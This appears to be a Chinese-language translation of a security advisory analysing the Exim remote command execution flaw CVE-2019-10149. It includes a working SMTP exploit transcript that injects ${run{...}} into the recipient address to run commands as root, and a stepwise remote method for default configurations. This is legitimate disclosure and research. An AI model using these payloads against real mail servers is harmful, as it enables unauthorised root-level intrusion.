exim远程命令执行漏洞分析（cve-2019-10149）

0x00 前言

在对Exim邮件服务器最新改动进行代码审计过程中，我们发现4.87到4.91版本之间的Exim存在一个远程命令执行（RCE）漏洞。这里RCE指的是远程命令执行（Remote Command Execution），而不是远程代码执行（Remote Code Execution）：攻击者可以以root权限使用execv()来执行任意命令，利用过程中不涉及到内存破坏或者ROP（Return-Oriented Programming）相关内容。

这个漏洞可以由本地攻击者直接利用（远程攻击者需要在特定的非默认配置下利用）。为了在默认配置下远程利用该漏洞，攻击者需要与存在漏洞的服务器建连7天（可以每隔几分钟发送1个字节）。然而由于Exim的代码非常复杂，我们无法保证这里介绍的方法是唯一的利用方法，可能还存在其他更加快捷的方法。

从4.87版开始（2016年4月6日公布），由于#ifdef EXPERIMENTAL_EVENT改成了#ifndef DISABLE_EVENT，因此Exim默认情况下就存在漏洞。在之前的版本中，如果手动启用了EXPERIMENTAL_EVENT选项，那么服务器也会存在漏洞。令人惊讶的是，这个漏洞已经在4.92版中被修复（2019年2月10日）：

https://github.com/Exim/exim/commit/7ea1237c783e380d7bdb86c90b13d8203c7ecf26
https://bugs.exim.org/show_bug.cgi?id=2310

然而Exim并没有把这个问题当成安全漏洞，因此大多数操作系统都会受到影响。比如，我们在最新的Debian发行版（9.9）中就成功利用了该漏洞。

 

0x01 本地利用

漏洞代码位于deliver_message()中：

6122 #ifndef DISABLE_EVENT
6123       if (process_recipients != RECIP_ACCEPT)
6124         {
6125         uschar * save_local =  deliver_localpart;
6126         const uschar * save_domain = deliver_domain;
6127
6128         deliver_localpart = expand_string(
6129                       string_sprintf("${local_part:%s}", new->address));
6130         deliver_domain =    expand_string(
6131                       string_sprintf("${domain:%s}", new->address));
6132
6133         (void) event_raise(event_action,
6134                       US"msg:fail:internal", new->message);
6135
6136         deliver_localpart = save_local;
6137         deliver_domain =    save_domain;
6138         }
6139 #endif

由于expand_string()可以识别${run{ }}扩展项，且new->address是正在投递的邮件的收件方，因此本地攻击者可以向${run{...}}@localhost发送一封邮件（其中localhost是Exim的某个本地域），以root权限执行任意命令（默认情况下deliver_drop_privilege的值为false）。

操作过程如下所示：

john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory

john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31

.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection

john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied

root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)

在这个例子中：

• 我们向邮件服务器发送了多个Received:头（超过received_headers_max，这个值默认为30），从而执行存在漏洞的代码。
• 我们使用反斜杠转义了收件方地址中的无效字符， 以便expand_string()后续处理（在expand_string_internal()以及transport_set_up_command()函数中会调用）。

 

0x02 远程利用

我们的本地利用方法并不适合于远程利用场景，这是因为Exim默认配置的verify = recipient ACL（访问控制列表）会要求收件人地址的本地部分（即@之前的部分）必须是本地用户的名称，如下所示：

john@debian:~$ nc 192.168.56.101 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400
HELO localhost
250 debian Hello localhost [192.168.56.101]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
550 Unrouteable address

非默认配置

我们最终设计了一种巧妙的方法，可以用来远程利用默认配置的Exim。我们首先确定了便于远程利用的各种非默认配置：

• 如果管理员手动移除了verify = recipient ACL（可能是为了避免通过RCPT TO枚举用户名），那么我们的本地利用方法就能远程使用；
• 如果管理员配置Exim可以识别收件方地址本地部分的标签（如通过local_part_suffix = +* : -*），那么远程攻击者可以简单复用我们的本地利用方法，其中RCPT TO设为balrog+${run{...}}@localhost即可（这里balrog是某个本地用户名）；
• 如果管理员配置Exim作为辅MX（Mail eXchange），将邮件转发至远程域，那么远程攻击者可以简单复用我们的本地里利用方法，其中RCPT TO设为${run{...}}@khazad.dum（这里khazad.dum是Exim的某个relay_to_domains）。实际上，verify = recipient ACL只能检查远程地址的域名部分（即@之后的部分），不能检查其中的本地部分。

默认配置

首先，我们通过一个“反弹（bounce）”消息来解决verify = recipient ACL问题：如果我们发送无法投递的一封邮件，Exim会自动向原始发件人发送（“反弹”）一个投递失败消息。换句话说，原始邮件发送方（即我们的MAIL FROM）现在变成反弹消息的收件方（对应该消息的RCPT TO），因此可以使用${run{...}}来执行命令。实际上，在默认配置的Exim中，verify = sender ACL只会检查我们原始发件人地址的域名部分，不去检查本地部分（因为这是一个远程地址）。

接下来，反弹消息会处理到存在漏洞的代码，通过process_recipients != RECIP_ACCEPT的条件判断，但这里我们不能复用received_headers_max技巧，因为我们无法复用我们的头部。我们对第二个问题的解决办法并不是最优解：如果反弹消息在7天后（这是默认的timeout_frozen_after值）仍无法投递，那么Exim就会将process_recipients设置为RECIP_FAIL_TIMEOUT，然后执行存在漏洞的代码。

最后，我们必须解决一个看上去非常棘手的问题：在2天后（默认的ignore_bounce_errors_after值），反弹消息如果没有被推迟投递，那么就会被丢弃。而在4天后，根据默认的重试规则（F,2h,15m; G,16h,1h,1.5; F,4d,6h），被延迟投递的地址会被归入失败地址中，因此会在7天时间期限（timeout_frozen_after）之前丢弃反弹消息。我们解决第三个问题以及通用的远程利用问题的方法如下所示（但可能存在更加简单且更快捷的解决方案）：

1、我们连接到存在漏洞Exim服务器，发送无法被投递的一封邮件（因为我们发送了超过received_headers_max的Received:头）。我们邮件的收件方地址（RCPT TO）设置为postmaster，其发送方地址（MAIL FROM）为${run{...}}@khazad.dum（这里khazad.dum为我们可控的一个域名）。

2、由于我们的邮件无法被投递，Exiam会连接到khazad.dum的MX（我们会监听并接受这个连接），开始向${run{...}}@khazad.dum发送反弹消息。

3、每隔4分钟向Exim发送一个字节，保持该连接处于打开状态7天（默认的timeout_frozen_after）。该操作之所以能成功，是因为Exim会将其发送的SMTP（Simple Mail Transfer Protocol）命令所收到的响应数据写入一个4096字节缓冲区中（DELIVER_BUFFER_SIZE），请求命令超时时间设为5分钟（默认的command_timeout），每收到1个字节就会重置超时时间。

4、在7天后，我们最终发送完冗长的SMTP响应，返回永久投递失败（比如“550 Unrouteable address”），这样post_process_one()函数就会冻结这个反弹消息。该函数实际上应该抛弃这个反弹消息，而不是冻结消息（如果冻结消息，我们就无法访问存在漏洞的代码），因为该消息处理时间已超过2天（默认的ignore_bounce_errors_after）：

1613   /* If this is a delivery error, or a message for which no replies are
1614   wanted, and the message's age is greater than ignore_bounce_errors_after,
1615   force the af_ignore_error flag. This will cause the address to be discarded
1616   later (with a log entry). */
1617
1618   if (!*sender_address && message_age >= ignore_bounce_errors_after)
1619     setflag(addr, af_ignore_error);

然而在这个特殊的场景下，message_age并不是反弹消息的实际处理时间（超过7天），而是该消息首次从Exim spool中加载的时间（只有几秒或者几分钟）。

5、最终，Exim默认运行的下次队列（在Debian上，默认情况下每隔30分钟）会从spool中加载被冻结的反弹消息，将process_recipients设置为RECIP_FAIL_TIMEOUT（这一次message_age为反弹消息的实际处理时间，已超过7天），然后执行存在漏洞的代码以及我们构造的命令（我们原始发送方地址${run{...}}@khazad.dum为反弹消息的收件地址，会被expand_string()解析）。

备注：如果想快速测试这个远程利用方法，Exim默认设置的timeout_frozen_after以及ignore_bounce_errors_after天数可以被替换成小时数，默认重试规则可以改为F,4h,6m。